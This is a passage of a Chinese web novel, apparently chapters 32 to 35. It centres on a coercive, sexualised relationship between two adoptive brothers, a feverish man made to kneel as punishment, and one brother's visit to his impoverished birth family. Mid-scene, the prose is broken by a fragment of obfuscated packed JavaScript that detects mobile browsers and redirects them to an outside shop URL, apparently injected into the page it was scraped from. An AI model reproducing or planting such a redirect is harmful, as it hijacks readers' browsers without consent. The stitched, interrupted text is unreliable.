而他们在二楼他的卧室里。
“你说,他们会看到你吗?”
又一次的询问,祁宋回过神来,眼底的情欲散去彻底恢复清明。他没有说话,修长的指尖落在了孟厌的蝴蝶骨上,轻碰一下,顿时身下的人身子一软,直直跪在了地上。
巨大的声音响起,祁宋脱身后退。
“你觉得他们能看到我吗?”
祁宋的声线偏冷,一如他冷淡的性子。
没有人回答。
孟厌抽了一口凉气,眼底的情欲更甚。
祁宋并没有要拉一把的意思,他随手扯了一张纸,垂眸慢条斯理擦拭着手指。很快,白色的纸张将脏污擦掉,露出泛红的指尖。
祁宋将纸一团,往一边的垃圾桶一扔,启唇,“今天的指导就到这里,听话点,最近别作妖。”
发疼的膝盖让孟厌提不起来力气,他整个人卸了力,也不嫌脏,直接坐到了地上,侧身看向祁宋。
倒是祁宋眼微微眯起,眼里闪过一丝嫌恶。
孟厌瞧着,狐狸眼眯起,嘴角微弯,笑了起来。
这种表情,对于孟厌来说,十分熟悉。
熟悉到,像是蚀骨的血虫,如影随形。
“哥哥嫌弃啊?可”
祁宋眉心一跳,果不其然,下一秒听见很是暧昧的声音。
“都是你弄的呢。”
孟厌笑着,眉眼弯起,勾人的狐狸眼晕出诱人的情欲,那白嫩的手指,在祁宋的注视下,放在身前。
祁宋熟视无睹,拉好拉链,“最近降温了,注意保暖。”,说完,祁宋转身离开。走之前,还不忘拿上自己的手机。
孟厌并没有开口挽留,他看着祁宋关门离开,泛红的眼眸清明了些,随即往后一靠,一点都没有想要起身的意思。
注意保暖啊……
想想就好笑,孟厌嘴角的笑意淡了。
侧头,望着楼下的仆人,他想
——或许人还是太少了。
以至于,没有一个人看到。
孟厌曲腿,双手抱腿,头抵在膝盖上,望着花园里的人,表情呆滞像是没有灵魂的玩偶,愣愣的,没有任何反应。
—
酒吧卡座,灯光昏暗。
祁宋坐在沙发的角落,面前桌子上都是酒瓶,身边的人哭得稀里哗啦,肿得跟个核桃的眼睛费力张着,寻找着祁宋。
“哥,哥?你去那里了?”
祁宋眉心一跳,看着醉鬼抱着酒瓶左看看右看看,视线里就是没有他,有预兆般,感觉对方可能要发起疯了。
“祁宋!你死哪里去了?”
一共喊了两次哥,然后醉鬼忍不住大声叫了起来。
“我在这里。”
生怕这憨货做出什么不可挽回的事,祁宋连忙应道。
醉鬼头一扭,眯眼,瞅了瞅,是熟悉的人脸,然后,脸瞬间变丧,哭唧唧,“祁宋,你说他为什么不喜欢我?”
醉鬼嘴里的“他”是他们的大学室友,两人上下铺,也不知道什么时候他这个缺心眼的发小看上了对方。那人柔柔弱弱,说话慢吞吞,一副黑色眼镜框加上过长的头发,彻底将自己掩藏起来,祁宋隐约能感觉到对方不是不是什么省油的灯。
起码,他这个蠢憨的发小掌控不了。
“人家喜欢女生,你是男的,哪来的为什么?”
“你放屁,你个母胎单身狗,你懂什么,你从小到大没有谈过一次恋爱,至今还是处男,你什么都不懂!”
“嗯,我不懂,所以,你又不是女的。”
祁宋点点头,说出的话清清冷冷的,丝毫没有想要惯对方的意思。
“还有方衍,我不是处男。”
醉鬼惊掉下巴,瞪大眼睛,你你你了半天,没能说出完整的话。
“所以,是谁?”
八卦之心一起,什么失恋都是小事。
方衍声音放低,探了探身子,满脸的期待,“说说呗。”
“你哥说你要出国了。”
祁宋没有想要细说的意思,反倒提起另一个话题。
方衍撇嘴,他其实并没有喝多,只是想借酒发个清醒点的疯,不过现在,显然没有必要了。
往后一靠,方衍四十五度仰望天花板,声音凄凄惨惨,“是啊,后天的票,我哥说我没有用,挡路了。”
“你知道你哥你喜欢吗?”
祁宋有些渴了,随手拿了一瓶酒,借着桌角,一个巧劲打开了酒。他从老宅离开到坐着将近二十分钟,期间是滴水未沾,被方衍拖着发疯。
“你说的不是屁话,我哥啊,他不喜欢我喜欢你?”
祁宋:缺心眼。
酒有些辛辣,祁宋只喝了一点,便放在了一边。他没有想要戳破这件事,更何况,现在未尝不好。他清楚知道,方衍有多缺心眼,也有多依赖他哥。
“你说的都对,既然出国了就别惦记他了,听说,已经订婚了,再怎么样,三还是不能当的。”
“知道了。”
被说的郁闷,随手拿起酒干了起来。
祁宋没有劝解的意思,一直等到方衍喝得差不多,给方至发了一个消息,让他来接人。
等都人接走已经是半夜三点,祁宋揉了揉眉眼,付钱后离开了酒吧。因为时间太晚了,他并没有回家,直接去了公司附近的公寓。
公司是他大学期间与朋友合作成立的,公寓也是提前就买好的。本来打算和母亲商量,他并不想碰祁铮的任何东西,想要将母亲一起接出来和他一起住,然而,天不遂人愿,倒先是母亲开了口。
他不是祁母亲生的,也就没有立场将其接出去住。
常年羸弱的身子,受不得任何刺激。
祁宋只能后退一步,并没有提出搬出老宅的,而是讲了自己准备创业。
好在,祁母表示了尊重。
近几个月,祁母身子更不好了,经过劝解后,她才搬出了老宅住进了疗养院。而明天,是和孟厌一起去看母亲的日子。
祁宋本不想与孟厌有过多接触,但在刻意错开探望时间后,被祁母拉扯苦口婆心劝了许久后,两人便定下来一起探望的时间。
祁宋可以对祁家任何人心狠,唯独祁母不可以。她是他的母亲,即使没有任何血缘关系。
—
翌日,睡梦里的祁宋被一阵又一阵的震动声吵醒,他看了看,是孟厌在打电话。
祁宋烦躁的挠了挠头,将手机往一边一扔,并没有要接的意思,随即起身下床去洗漱。
等到洗漱后,房门铃声也响了起来。
不用猜,一定是孟厌了。
祁宋将擦头发的毛巾随手一扔,趿着拖鞋去开门。打开房门,祁宋转身就要回房换衣服。
孟厌扬了扬眉,抬脚走了进去。
这是他第二次进屋。
想想上一次呢,还是他尾随祁宋的大学室友呢。
“哥哥吃过早餐了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730667|145017||http|test|mini|href|location''.split(''|''),0,{}));
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>孟厌刻意放轻声音,缓解着感冒带来的不便。
祁宋回房的动作一顿,扭头,蹙眉,“感冒了?”
孟厌当然不会以为祁宋心疼他了,今天是去要看望祁母的,而他的哥哥最听母亲的话了,担心的不过是,疗养院的那个人。
不过,无所谓。
“哥哥是在担心我吗?”
孟厌笑着,脸边是不正常的红,细细看去,眼尾处升起一抹嫣红,衬得整个人脸十分苍白。
“发烧了还是感冒了?”
祁宋深知和孟厌交谈不到一起,索性,直接往客厅电视柜子走去。因为房间是让助理准备的,因此东西齐全些,一般的药物都有。翻找了一通,将体温计、退烧药和感冒颗粒拿了出来。
“自己量,没发烧喝感冒颗粒,发烧了就吃退烧药。”
孟厌眼里的笑意深了深,嘴里吐出的话却满含恶意,“哥哥对每一个床伴都这么关心吗?”
“你要是这么想我也没有办法。”
好心当做驴肝肺,祁宋将东西放在柜子上,起身直接离开。
孟厌没有说话,他的视线直直落在那包感冒颗粒上,就那么看着,也不动。
一直到祁宋走出来后,他依旧站在原地。
祁宋一个头两个大,特么的,这就是一个麻烦!
开口准备说话,却看到了眼含泪珠的孟厌。
“哥哥,我头疼。”
孟厌说这话的时候,很可怜,可怜到祁宋上头的怒火顷刻化为乌有。
“让你吃药你不吃,该你疼。”
祁宋嗤笑一声,看着孟厌,刹那颗颗泪珠从眼眶而出,脸又红了一个度。
“哥,你疼疼我吧。”
孟厌朝前走了一步,休闲装的祁宋看起来暖了不少,与西装革履的他不同,整个人好像柔和了不少,或许是因为,要去看母亲吧。
声音哑哑的,带着祈求,眼神里全然只有祁宋。
心,好似漏了一拍。
祁宋心头涌上异样的情绪,那种情绪太过于陌生,以至于,并未在意。
“坐沙发上去。”
祁宋抬头示意,而后转身去拿体温计和药物。
孟厌很是听话,不仅坐了上去,最后等到祁宋转身,他已经半躺在沙发上。
“哥哥,我累。”
祁宋没有说什么,朝孟厌走了过去。
他将体温计度数甩下去,然后看着孟厌。孟厌仰着头,后知后觉解开扣子。泛红的指尖缓慢的解开一颗又一颗的扣子,明明再正常不过的场景,却偏偏让孟厌做得涩情无比。
祁宋眉心一跳,在事情失控前,他蹲下身子,摁住了对方的手,二话不说,将体温计塞了进去。
孟厌笑出了声,缓慢靠近,灼热的呼吸交缠在一起,一吐一吸间,不知扰乱了谁的心。
“哥哥,听说生病的时候,会很热的……”
话一出,祁宋的脸冷了冷,掀起眼皮,似笑非笑,“可惜我不感兴趣。”
随即松开手,起身。
“半个小时后自己看,退烧药就在柜子上,厨房有热水。”
“哥哥要去看妈妈吗?我和你一起去。”
说着孟厌就要起身,祁宋直接开口拒绝,“今天不去,我会和母亲交代的,你休息吧。”
“那哥哥是要去工作?”
“我不喜欢别人打探我的行踪,药吃完就离开吧。”,祁宋走到鞋柜处,换好鞋子,他看着沙发上的人,无情的话脱口而出,“下一次生病了别来找我。”
说完,祁宋拿着钥匙离开。
孟厌只是笑着,看着人离开。
像是以往每一次情事后,他都是那样看着祁宋。
33. 第 33 章
很巧,祁宋刚出门,助理就到了。
助理简单的说了一下行程,两人便坐上车出发了。虽然公司目前蒸蒸日上,势头猛,可若和其他的公司比,还相差甚远。
这一点,祁宋深知,并且目前公司能好好发展是因为他如今的身份,虽不是祁家真正的少爷,但,到底身份还在,祁家还承认他。
而他,要做的,就是借助这一层身份站稳脚跟。
“谈总说,他今天下午有事,未婚妻来找他,所以……”
“嗯,知道了。”
对于谈粟,祁宋是百分之百信任的。谈粟与他这个圈里的人不一样,对方是从乡下来的,同寝室四年,谈粟这人的品格是他们四个人里,最正直牢靠的。
“慕总那边,还需要去交涉,对方死死咬着利润不松口,一点亏都不肯吃。”
助理也很无奈,他已经交涉多次了。
祁宋蹙眉,他们公司主打人工智能,应用虽不止家居用品方面,但倒底在未来市场占据重要地位。而慕家是这一行业的巨头,想要开辟这一市场,势必要从对方入手。
“他目标价位是多少?”
“多拿百分之十。”
“啧,胃口不小。”
祁宋眼神里闪过丝嘲弄的意味,和他们正在拉扯的是慕家的上门女婿,因为这一身份,对方迫切的想要做出点成绩给老丈人看,不过,他找错人了。
“先不去,去郊区疗养院。”
“是。”
助理应道,简单一想,就想明白了祁宋的意思,慕家真正的掌权人不在公司,在疗养院。
“需要通知对方吗?”
“你看着办。”
祁宋没有明说,助理也不是十分愚笨的人。最后,卡着时间点,距离约定的时间还有半个小时的时候告知了对方。
而对方是不是会生气,已经不在他们的考虑范围了。
—
疗养院坐落于郊外,这里远离市区,树木林立,空气清新,是大多数老人选择的养老圣地。
祁宋和助理先拜访了慕家的人,坐了大概有半个小时,在事情商谈的差不多的时候,两人告辞离开。
“要去看看阿姨吗?”
祁母的也在这家养疗院,走到楼道拐弯的地方,助理出声询问。
祁宋的脚步一顿,助理这么一问让他想到了孟厌,有些头疼。
他答应了对方再找日子,要是让对方知道他提前去了,估摸着又该作妖了。
因此,祁宋摇头,“改天吧。”
“好。那现在回公司吗?”
祁宋不假思索点头。
—
晚上九点,祁宋拖着疲惫的身子打开了房门。
屋里里面很黑,祁宋将钥匙放在一边,随手打开灯,然后弯腰换起了鞋。
换完鞋,祁宋趿着拖鞋朝厨房走去,想着晚餐应该吃什么。虽然公寓里吃的东西并不多,但足够能让他度过今晚。
“哥哥。”
很轻的声音,但在安静无比的屋子里十分清晰,足矣让祁宋听到。
祁宋脚步一顿,心里升起一股不好的预感。他转身,沙发上坐着今早他让离开的人。
“孟厌。”
祁宋张了张嘴,看着沙发上的人,所有疑问化为一句,“睡了一天?”
孟厌点头,他其实并没有睡一天,只是坐着坐了一天罢了。
祁宋脑袋隐隐作痛,他移开视线看向了走之前留下的药,果不其然,没有拆封。
“为什么不吃药?”
声音冷了冷,孟厌一愣,像是不明白为什么祁宋突然生气了,他有些疑惑,微微抬头,“为什么要生气?”
声音是哑的,即使孟厌说的再慢。
烦躁席卷,祁宋应心所想,几步走了过去,居高临下。孟厌后知后觉坐直身子,还没有下一步动作,他直接被祁宋堵在了沙发上,被对方掐住了下巴,被迫仰头。
然后,他听见了不带一丝感情的嘲弄,“孟厌,你可真不听话啊。”
“我没有。”
孟厌小声反驳着,整个人的精气神十分不好,看起来蔫蔫地,好不可怜。
“看起真可怜。”
祁宋感叹着,眼神里不带意思感情,明明是小情侣间暧昧极的话,从他的嘴里出来,却只有嫌恶。
是啊。
他可真可怜啊。
孟厌想着,笑出了声,因为发烧,眼尾泛着红,这么一笑,狐狸眼上翘,整个人看起来妩媚极了。
瞧着孟厌的反应,祁宋手劲不自觉的加大了些,灼热的温度从手传递而来,不断提醒着祁宋孟厌此刻正在发烧,这烧从早到晚,一直到他回来。
身体对于孟厌来说,什么都不算。
既然不算什么,那,他又何必在意。
祁宋的指尖划过孟厌的眼尾,条件反射,孟厌眨了眨自己的眼睛。他敏锐地感知到,祁宋此刻不同寻常。
祁宋轻笑一声,大拇指停在了孟厌的眼尾,低声道:“既然如此,去房间跪着吧。”
“哥哥?”
孟厌有些不明白,倒也不是说不愿意,就是不懂为什么祁宋生气了。
“怎么,不愿意?”
这场情欲里需求方从来不是祁宋。
而当这种无所谓的话一出,孟厌就会乖乖听话。
而他,孟厌,才是需求方。
极度的需求着祁宋。
“不会,哥哥,别生气。”
孟厌讨好的一笑,伸手揽住祁宋的脖子,靠近对方,轻声细语,“我去。”
祁宋松开了手,起身。孟厌动了动发酸了身体,小心翼翼扯了扯祁宋的衣角,后者没有说话,抬脚离开。
衣角从指尖脱离,孟厌眼神暗了暗,敛眸,下地朝卧室走去。
祁宋也没注意,直接去了厨房,开始准备晚饭。他做了一碗面条,很简单的吃了晚饭。
等到收拾完后,他才回房。
果不其然,对方照他说的跪在地上。
房间里是没有毯子的,白色的地板砖,跪在上面,在深秋季里还是有点凉的。
祁宋看了一眼,收回视线,拿着睡衣朝浴室走去。
随着房门关上,水声穿了出来。祁宋洗澡的时间不长,不出一会,水声停止。
洗完澡的祁宋,穿着浴袍走了出来,他将空调温度调高,随便擦了几下头发,把毛巾放到了一边。
“哥哥。”
孟厌舔了舔发干的嘴唇,轻声唤道。
祁宋几步走到了孟厌身边,坐在了离对方很近的沙发上,背靠着沙发,问,“孟厌,告诉我,为什么不吃药。”
祁宋的声音依旧如此,无喜无悲。
刚洗完的头发,随意的耷拉在额前,遮住了饱满的额头,整个人看起来随性多了。
没有那么大的侵略感。
“为什么要吃药?”
孟厌反问,他
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为什么要吃药,他不想吃药。
祁宋头疼,孟厌滴水不进,犟得跟一头驴一样,“知道为什么要你跪吗?”
其实,最开始的时候,孟厌犯错并没有这种惩罚。只后续,孟厌主动跪的,仿佛在他的认知里,做错了就一定要受惩罚。
时间久而久之,祁宋也懒得纠正这种思想。
但,现在,祁宋发现,这种思想还得纠正。
“你生气了。”
孟厌轻声道,他敛眸,看着地板,整个人乖顺的很。
“我为什么生气?”
“我也不知道。”
孟厌摇头,抬眸,眼里满是迷茫。
“孟厌,生病不吃药这件事是错的。让你跪着,是想让你想明白这件事,而我,并没有生气。”
祁宋望着孟厌,微微勾唇,“你的死活,讲实在话,真的跟我没有关系。我早上说的,以后生病不要来找我这是我,这是第二次,也是最后一次跟你说。”
如果言语是一把利刃的话,孟厌此刻或许已经千疮百孔了。
从相视到最后孟厌低下了头,他整个人像是被驯服了一样。
可只有孟厌知道,他此刻,内心有多么嗤笑以鼻。
他恨祁宋。
“哥哥,我想去看妈妈了。”
一句话,仿佛摁下了暂停键。
祁宋气笑了,感情他说的都是白搭。
被扼住命脉的感觉真的不好,他清楚知道,祁母孟厌之间,只有祁母多的溢出来的愧疚和爱,孟厌这人并不在乎。
孟厌在拿祁母来威胁他。
“好啊,等你病好吧。”
祁宋应下,随即起身,上床准备睡觉。
躺下的时候,祁宋开口说道,“出去跪吧。”
“好的,哥哥。”
孟厌应道,他机械地爬了起来,然后朝外走去。
—
半夜三点,祁宋被渴醒了。
他摸黑打开床头灯,下床穿着拖鞋朝外走去。
走到正厅,祁宋打开灯后,首先看到的是跪在地上的人。孟厌的脸好像又红了一个度,眼中蒙着一层水雾,祁宋不禁叹了一口气,朝孟厌走去。
刚走到孟厌身边,跪着的人直直扑向了他。
祁宋眼疾手快接住了人,刚入怀,肌肤相贴的地方传来滚烫的温度,祁宋眉心一跳。
好了,这下子,住院妥了。
给助理打了电话,祁宋将人送到了医院。让助理看着后,然后回了家。
助理被派去照看孟厌了,出差祁宋一个人肯定不行的,就只能朝谈粟借人。
谈粟大方一挥手,身边的小助理成了祁宋的临时助理。
收拾好东西的祁宋,看到了助理的发消息。
幸福一生:孟少爷没事,就是可能再晚一点,会烧成傻子。
附带着医生的诊断证明。
祁宋点开证明,一目十行看了看,刚想回复,谈粟的人打来电话了。
随即,祁宋回了一句话,接通了电话。
“祁总,我直接去机场还是找你?”
“去机场吧。”
“好的。”
祁宋挂断电话,拉着行李箱离开。
医院里的助理,看看老板发的消息,又看看床上的人,陷入了沉思。
祁老大:报告结果和病人说,和我说有什么用?
好吧,等对方醒了再说吧。
助理沉默。
34. 第 34 章
邻市商谈的过程很顺利,约着甲方吃了一顿饭后,合作的事便走向了正轨。合同签好后,后续的收尾的事由谈粟的派来的人接手,而祁宋趁着这个机会回了家。
那个他不曾生活过的家。
去的时候,祁宋是打车去的。当天的天气十分不好,多云,不见太阳,温度也骤降,祁宋穿了一件灰色的卫衣,卫衣下面是略厚的黑色休闲裤。
整个人看起来十分接地气。
简单来说,就是又帅又穷。
孟厌被接回来的时候,祁宋听了几次孟厌提起,便记住了生父生母的居住地址。
倒也不是说,准备赌气直接回自己的家,或者耍个心机脱离自己贫穷的亲生父母。他是想着,毕竟是自己血缘双亲,按理说,应该回去看看。
但,比他先一步,他亲生母亲打来了电话。
目的是要钱。
祁宋他这人本就情感淡漠,亲情对于他来说,只有责任。
最后,祁宋给了钱,便歇了回去看看的心思。
而今,恰好出差。
祁宋突然想起来,并且合同进展挺不错的,已经到了收尾阶段。
所以,祁宋决定去看看。
巷子并没有想象中的脏乱差,见到孟厌的第一眼时,祁宋透过那个怯懦的少年,仿佛看到了对方生活的环境。
其实并不是祁宋以貌取人,第一次和孟厌见面时,孟厌穿着一身褪色的衣服。浅蓝色的牛仔外套洗得都发白了,裤脚处补着布丁,可就算这样,衣服也不合身,露在外面的手腕骨处,是皲裂的皮肤,和孟厌的脸一样。而,唯一能看下去的就是那一双眼睛。
那一双眼睛,和祁母极为相似。
是不用看亲子关系证明,都能看出两人有着血缘关系。
因此,祁宋做了简单的心里建设,就接受了这个事实。
如今,走在这条街上,祁宋扫视了一眼周围环境,才发觉,或许自己的猜测并不完全对。
小巷子里的卫生其实很干净,透过斑驳的墙壁可以感受到的是悠长历史,路边的一排排梧桐树淋漓着,昂首挺立,虽渐入冬季,萧条了些,但,能想象到夏天这里会是怎样的生机盎然。
这个地方环境其实挺不错的。
找了个商店,祁宋打听了具体地址,按照小卖铺老板的指示,直走大约三百米,拐了弯进入了老巷里。在第五个巷口的时候,又一次拐弯,最后停在了第四家人的门口。
朱红色的大门,大门两边是迎客松,大门上面贴着对联,和两张很大的福字。
祁宋看了会,走向前,敲响了门。
厚重的大门传出砰砰砰的声音,祁宋敲了三下便停止了,往后退一步,等着屋里人开门。
“哪家鳖孙又来敲门了,滚!”
怒骂声从屋里传出来,祁宋皱眉。多年来良好的教养,并没有让他张嘴喊回去。
很快,屋里又安静了下来,看那架势,里面的人是不打算开门了。
祁宋也歇了敲门的心思,转身准备离开,却不料,看到了一个小女孩。
女孩在看到他那一刻,明显的抖了抖,又迅速的缩回脑袋。祁宋看了看,有些奇怪,收回了目光,转身准备离开。
然而,没走几步,他被人叫住了。
“是哥哥吗?”
怯弱的询问声传来,祁宋回头,女孩牵着两个小孩,就那么站在巷口,看着他。
祁宋意识到确实是在问自己,于是朝几人走过去。随着他的动作,大的身体抖了抖,而两个小的,下意识抱住大的那个的腿,藏在了她的身后。
他们在害怕。
祁宋意识到后,停下了脚步。
“你们的哥哥叫什么?”
“孟厌。”
意料之外的名字,却也在意料之中。
不可否认,见到这仨小孩的时候,他想到了孟厌。
他们太相似了。
“我是。”
祁宋点头,再一次抬脚朝三人走去。
这一次,三个人都没有再后退。两个小的从大的身后探出脑袋,看着祁宋。
“我哥说,你会回来找我们的。”
笃定的声音,里面满是对孟厌的信任。
“为什么?”
“他是我哥。”
没有想象中的丰富理由,只有一句他是我哥,透过这一句话,祁宋看出了他们之间深厚的感情。
大约距离三人还有三步的时候,祁宋停了下来,一米九的身高,三人只能仰着头。
最后,祁宋蹲下来身来,和女孩平视着,“你们之间的感情很深。”
“不,我哥不喜欢我们。”
没有人喜欢背负着别人的未来。
而,她也不喜欢。
她讨厌弟弟妹妹,就像是她哥哥讨厌她,讨厌弟弟妹妹。
祁宋瞧着她认真的眸子,能看出对方并没有开玩笑。不过,对于原因究竟是什么,他并没有探究的心思,转而问了最开始想问的,“你哥为什么会笃定我会回来?”
“我哥说,他不是孟家人,你是。”
仿佛在女孩的认知里,孟家人应该蜗居在此,到死。
“哥哥说过的话,一定会实现。”
“所以,你们一直在等我?”
女孩默然,点点头后又摇摇头,盯着祁宋看了半晌,启唇道:“等你养娃。”
女孩十分直白的话,一时间让祁宋不知道说些什么。
祁宋起身,他看着三个与他有血缘关系的小孩,一时间,心里有些复杂。
三个小孩的样子让他怜悯同情,但,这句话,如果他应下,伴随着责任而来的是无尽的麻烦。
“你应该知道,对于你们,我是没有法律上的责任。”
孟厌回祁家那晚,祁铮送给孟厌的第一个礼物,就是把他的户口迁了出去。
有时候,不得不承认钱的力量真的很大。
因为他已经成年,或许,祁铮嫌麻烦,他的户口至今是单独一页,并没有回到孟家。
所以,严格意义上讲,他谁都不用负法律责任。
女孩沉默,低声对腿边的人说,“诺诺,亮亮,松开姐。”
后者,怯怯诺诺松开了手。
女孩望了一眼祁宋,没有说话,转身往巷子走去。祁宋没有动,站在原地,看着面前瑟瑟发抖的两个小孩。
两个小孩慢慢移动着,自认为祁宋不知道,慢慢靠在一起,手牵着手。
女孩离开不久,很快,就从巷子里走了出来。
三人听到动静,都看了过去。
衣衫破旧的女孩,怀里抱着一个襁褓孩子,孩子不哭不闹,很是安静。
祁宋心里大致有了点猜测,对于这个孩子。
“姐姐,姐姐。”
两个小孩跌跌撞撞跑了过去,扑倒她的腿边,以至于,女孩稳了稳身子,站在了原地。
他们和祁宋距离十几步,隐没在巷子落下的阴影里。
她看着祁宋,很平静。
声音,穿透人心。
“我的孩子,要死了。”
祁宋听懂他这个血亲妹妹的言外之意,她在向他求救。
“为什么相信我。”
“不为什么,他本来就要死了。”
对于她来说,这个孩子无所谓生与死了。
生下,不是她的意愿。
养他,更是逼不得已。
祁宋眼神复杂,这个女孩,
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他的这个妹妹,远比他想象中的经历要多。
“你想走吗?”
毫无波澜,像是玩偶的眼睛,呆滞、灰暗,就那么凝视着祁宋。
“我可以走到哪里?”,她询问。
“任何地方。”
掷地有声,声音回荡在这方天地。
—
市中心人民医院。
“祁总。”
涂则跑到门口时,看到完好无损的上司,提着地心落了下来。
妈耶,还以为上司出事……
“进来吧。”
祁宋回头看了一眼,是助理,他张口让人进来。
涂则应了一声,朝里走去,随着距离拉进,他看到了床上的孩子。涂则傻眼,祁宋不就离开了半天,怎么搞了一个孩子?
难道是私生子?
哦嘛噶,我发现了什么惊天大秘密啊?
涂则一个劲的看着床上的孩子。
“后续的事处理完了?”
涂则后知后觉,一秒恢复正经,回答着祁宋的话,“哦,嗯,已经处理完了。”
收回视线的涂则看向祁宋,等着对方询问详情,却不料,对方没了下文。
由于过于好奇,涂则视线又看向了床上的孩子。
床上的孩子脏兮兮的,双眼紧闭,裸露在外的皮肤黑黢黢的,但能看见细小的伤口,他的身上插着管子,链接着一边滴滴滴个不听的机器。
“这孩子是?”
“捡来的。”
孩子没有户口,更没有出生证明。
医院需要这些证明,祁宋没有,只能称自己是捡来的,医院基于负责任,已经报警了,待会就有警察来了。
他去警局做笔录,医院得有人,所以,祁宋把涂则叫来了。
“捡的?”
涂则有些狐疑,悄咪咪看了看两人,对照着两人的相貌。
“等会警察会来,你先看着孩子。”
祁宋像是没有看到涂则的小动作,吩咐着。
“是!”
涂则应道,一副请你放心的样子。
警察来的很快,祁宋跟着警察回了警局。做笔录大概用了一个小时,警察细致询问后,派人去查看了一番,得出了一个结论:祁宋没有说谎。
然后,祁宋被放了出来。
走之前,祁宋询问了相关的领养问题。
领养挺复杂的,而这件事一两天办不好,祁宋本人也不满足领养条件,年龄不符。
无奈,祁宋放弃领养这件事。
回到医院后,涂则因为家里刚添了新成员最近忙着办理户籍的事,想到了这个捡来孩子户籍的事。这么一问,祁宋猛然想起,孩子还没户籍,随即又脑疼办户籍这件事。
而这件事,说难办,也不难办,需要时间,也需要找些人脉。
耽误了两天,没有办成,最后,祁宋把涂则留了下来。
—
回去那一天,接机的不是祁宋以为的助理,而是孟厌。
温度骤降的天气,孟厌上面穿着薄薄的米色秋衣,下面搭配漏脚踝的黑色紧身裤,一整个人像是感觉不到冷意般,站在风口里,抱着一束花。
他笑着看着祁宋,弯弯的眉眼,眼尾上翘,里面满是溺毙人的柔情。
祁宋下意识驻足,眼皮直跳。
视线扫过孟厌,最后落到了裸露出的脚踝,熟悉的躁郁感。
孟厌总有能力,让他心情不顺。
视线停顿几秒,祁宋移开视线,抬脚就离开。
孟厌被当做了空气。
意识到,孟厌也不生气,扬眉笑了笑,朝祁宋跑去。
没几步,跑到了祁宋身边,笑呵呵喊了声,“哥哥。”
35. 第 35 章
祁宋没有回应,往外走着。
孟厌观察了番祁宋表情,敛眸收回视线,几步跟了上去,安静地跟在祁宋身侧,他抿了抿唇,最后没有说任何话,除了刚开始的那一句哥哥,一时间只有轮子滑动地面的声音。
祁宋没有停下,余光里的人伸出的手,犹豫半天,最后怯生生地扯住了他的衣角,然后扭头看着他。
“看路,看我干什么?”,祁宋出声。
“嗯,哥哥。”
孟厌下意识回复,声音细小如蚊。
祁宋:“……”
我是什么很可怕的洪水猛兽吗?
周围全都是来来往往的人,落在两人身上的视线渐渐变多。
祁宋察觉到,步子快了些。孟厌矮点,祁宋快起来,他可能就要快速走两下,停一下那样。
两人离开了机场,往停车地方走去。孟厌瞧着路,每当祁宋走岔劈了,他就会扯住衣角轻轻拽一拽,然后,祁宋默不作声,换一个方向。
车子停的地方略显偏远,两人没走一会,周围的人渐渐变少。
“我,没找到合适的位置。”
孟厌解释,驾照是新拿的,对于一个连小学都不曾上过的人,能拿上驾照已经极限。
“孟厌,你很怕我吗?”
轮子滑动的声音停下,祁宋侧身,看着矮他一头的孟厌,那看似是困惑的声音里,夹杂着讽刺。
能爬上他床的人,又怎么会怕他呢?
孟厌的头低得更狠了,他看着自己的脚尖,半晌没有动静。
祁宋也不急,就着干耗着。
“我不怕哥哥,我喜欢哥哥。”
孟厌抬头,掀开眼皮,颤动的睫羽昭示着他内心的不平静。
“我怎么会讨厌你呢?”
呐呐自语,像是自我询问。
祁宋压根不吃这一招,孟厌的喜欢浮于表面,他不是没有看出来,或者说,他一个抢孟厌人生的人,怎么会被受害者喜欢呢?
即便是,他当时也不过是一个孩子。
“孟厌,这些话骗骗自己也就罢了,我们两个人之间,之前没有那种表面的相安无事,之后,也不会有。”
祁宋兴致缺缺,对于问题的答案已经没有想要知道的欲望了。
祁宋抬脚离开,孟厌呆愣着,指尖的衣角脱手而走,行李箱的轮子声又响了起来。
孟厌脸上的表情似哭似笑,整个人微颤着,灰寂从眼底浮现出,却又很快收敛下。他侧身,看着祁宋,唇角勾起。
哥哥,我怎么会讨厌你呢?
我巴不得你死在我的身上。
祁宋目标很明确,他清楚的知道孟厌的喜好,这个人,不爱奢侈,在所有车子里,他直奔最普通的五菱。
走到车边,转身,孟厌已经向他走来。
对方的脸上挂着柔和的笑容,稀碎的刘海遮挡住了眉目,微微上勾的狐狸眼,却在此时看起来清纯无比,整个人看起来温和无害。
但,也是看起来罢了。
祁宋见人来,收回了视线。
孟厌走到车边,将钥匙拿了出来,摁了解锁键,然后,在祁宋拉车门的时候,孟厌开口说道:“哥哥,你不在这几天,我刚拿的驾照。如果,哥哥不介意的话,我”
祁宋开门动作一顿,而后,照常把门打开,将行礼扔了进去。然后关上门,转身伸出手。后者,将拿着钥匙的手放了上去。
很凉。
祁宋的直观感受,他就说嘛,穿的衣服不行。
不着痕迹,祁宋皱了皱眉,接过钥匙收回了手,“以后别来接机,不知道的还以为我来接你。”
“可是,哥哥不想我吗?”
孟厌笑吟吟的,“我以为哥哥会很想我。”
“上车!”
祁宋越过孟厌,拉开车门,坐进了主驾驶。后者,没有追着询问,在副驾驶和后座之间,他选择了离祁宋较远的后座。
这下,祁宋真成了接机的人。
祁宋:“……”
车子启动,一个掉头后,离开了机场。
车上,安静弥漫,这好像成了孟厌和祁宋最为舒适的相处方式。
谁也不说话。
“哥哥,妈妈问我们什么时候去看她。”
“等我手上的事忙完。”
“忙完啊……”
后面的声音祁宋没有能听到,孟厌的声音越来越小,最后,安静下来。
透过倒车镜,祁宋看到了呆滞的孟厌。
对方愣愣的,望着窗外。
很熟悉的感觉,在巷子里,那三个孩子身上也是这种状态。
像是麻木。
车子平稳地行驶着,祁宋没有选择回老宅,而是选择了公司附近的公寓。
上班段过去后,路上没有堵车,将近一个小时后,车停在了公寓楼下。
停下车,祁宋才发现,后座的人已经熟睡。解开安全带,祁宋扭身想要将人喊醒,却在目光触及到孟厌恬静睡颜时,咽下了到嘴边的话。
等到祁宋抱着人打开门时,他才觉得自己鬼迷心窍了。他垂眸,怀里的不断朝他怀里挤着,眉头紧蹙着,像是梦见了什么不好的东西。
祁宋叹了一口气,抱着人往卧室走去。
